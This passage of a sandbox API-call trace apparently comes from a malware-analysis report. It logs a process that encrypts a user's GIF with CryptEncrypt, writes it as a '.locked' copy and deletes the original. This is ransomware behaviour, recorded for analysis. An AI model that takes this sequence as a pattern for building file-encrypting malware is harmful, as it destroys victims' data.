[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.307] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.307] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.307] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.307] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0137.307] GetFileType (hFile=0x764) returned 0x1 [0137.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.307] GetFileType (hFile=0x764) returned 0x1 [0137.307] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.307] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0137.308] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.308] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.308] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.308] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked", lpFilePart=0x0) returned 0x34 [0137.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.308] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0137.308] GetFileType (hFile=0x778) returned 0x1 [0137.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.308] GetFileType (hFile=0x778) returned 0x1 [0137.308] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.308] CryptGenRandom (in: hProv=0x43964e8, dwLen=0x10, pbBuffer=0x69edf04 | out: pbBuffer=0x69edf04) returned 1 [0137.309] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.309] CryptDuplicateKey (in: hKey=0x8e84ff8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e850f8) returned 1 [0137.309] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.309] CryptSetKeyParam (hKey=0x8e850f8, dwParam=0x4, pbData=0x69ef1c0*=0x1, dwFlags=0x0) returned 1 [0137.309] CryptSetKeyParam (hKey=0x8e850f8, dwParam=0x1, pbData=0x69ef18c, dwFlags=0x0) returned 1 [0137.309] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf1f0\x437\x24a") returned 0x0 [0137.309] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.309] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.309] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.309] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.309] ReadFile (in: hFile=0x764, lpBuffer=0x69f271c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69f271c*, lpNumberOfBytesRead=0x99ae7a8*=0x7ee8, lpOverlapped=0x0) returned 1 [0137.310] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a06728*, pdwDataLen=0x99ae79c*=0x7ee0, dwBufLen=0x7ee0 | out: pbData=0x6a06728*, pdwDataLen=0x99ae79c*=0x7ee0) returned 1 [0137.310] WriteFile (in: hFile=0x778, lpBuffer=0x69edfc4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69edfc4*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0137.311] WriteFile (in: hFile=0x778, lpBuffer=0x6a07714*, nNumberOfBytesToWrite=0x6ef4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a07714*, lpNumberOfBytesWritten=0x99ae780*=0x6ef4, lpOverlapped=0x0) returned 1 [0137.311] ReadFile (in: hFile=0x764, lpBuffer=0x69f271c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69f271c*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0137.311] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a0e62c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a0e62c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0137.311] CryptEncrypt (in: hKey=0x8e850f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a0e660*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a0e660*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0137.311] WriteFile (in: hFile=0x778, lpBuffer=0x69edfc4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69edfc4*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0137.311] CloseHandle (hObject=0x778) returned 1 [0137.312] CloseHandle (hObject=0x764) returned 1 [0137.313] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.313] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.313] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.313] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.313] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.314] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif")) returned 0x20 [0137.315] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.316] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.316] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0137.316] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.316] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.316] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.316] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0137.316] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.316] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0137.316] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.316] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0137.317] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.317] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0137.317] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.317] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0137.317] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.317] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0137.317] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif")) returned 0x20 [0137.317] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.317] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.318] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0137.318] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.318] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif\\", lpFilePart=0x0) returned 0x2e [0137.318] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0137.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0137.318] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0137.318] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0137.318] CoTaskMemFree (pv=0x8eb8d30) [0137.319] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif")) returned 0x20 [0137.320] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.320] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0137.320] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif"), fInfoLevelId=0x0, lpFileInformation=0x6a20364 | out: lpFileInformation=0x6a20364*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f0c47d0, ftCreationTime.dwHighDateTime=0x1d4a935, ftLastAccessTime.dwLowDateTime=0xda6adb80, ftLastAccessTime.dwHighDateTime=0x1d4a3f8, ftLastWriteTime.dwLowDateTime=0xda6adb80, ftLastWriteTime.dwHighDateTime=0x1d4a3f8, nFileSizeHigh=0x0, nFileSizeLow=0x7ee8)) returned 1 [0137.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0137.320] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif")) returned 1 [0137.321] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.322] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.322] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.322] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.322] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.323] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif.locked")) returned 0x20 [0137.323] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif.locked")) returned 0x20 [0137.323] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked", lpFilePart=0x0) returned 0x34 [0137.323] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif.locked", lpFilePart=0x0) returned 0x34 [0137.324] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.324] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif", lpFilePart=0x0) returned 0x2d [0137.324] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.324] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.324] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.324] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.326] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.326] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.326] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.326] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, 